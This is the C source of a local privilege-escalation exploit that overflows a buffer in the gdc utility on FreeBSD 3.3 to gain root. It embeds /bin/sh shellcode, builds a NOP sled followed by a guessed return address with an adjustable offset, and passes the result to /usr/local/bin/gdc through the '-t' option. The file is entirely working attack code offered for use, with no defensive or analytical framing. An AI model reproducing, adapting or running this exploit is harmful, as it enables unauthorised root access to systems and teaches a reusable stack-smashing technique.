/*
 * gdc exploit for Freebsd-3.3 yields euid=0(root)
 * by default, only group wheel (or whatever your trusted gated group is)
 * and root can run gdc
 * Brock Tellier btellier@usa.net
 */


#include <stdio.h>

char shell[]= /* mudge@l0pht.com */
  "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
  "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
  "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
  "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";


main (int argc, char *argv[] )
{
  int x = 0;
  int y = 0;
  int offset = 0;
  int bsize = 4093;
  char buf[bsize];
  int eip = 0xbfbfdb65; /* works for me */

  if (argv[1])
    {
      offset = atoi(argv[1]);
      eip = eip + offset;
    }
  fprintf(stderr, "gdc exploit for FreeBSD 3.3-RELEASE <btellier@usa.net>\n");
  fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsize);

  for ( x = 0; x < 937; x++) buf[x] = 0x90;
  fprintf(stderr, "NOPs to %d\n", x);

  for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
  fprintf(stderr, "Shellcode to %d\n",x);

  buf[x++] =  eip & 0x000000ff;
  buf[x++] = (eip & 0x0000ff00) >> 8;
  buf[x++] = (eip & 0x00ff0000) >> 16;
  buf[x++] = (eip & 0xff000000) >> 24;
  fprintf(stderr, "eip to %d\n",x);

  buf[bsize - 1]='\0';

  execl("/usr/local/bin/gdc", "gdc", "-t", buf, NULL);

}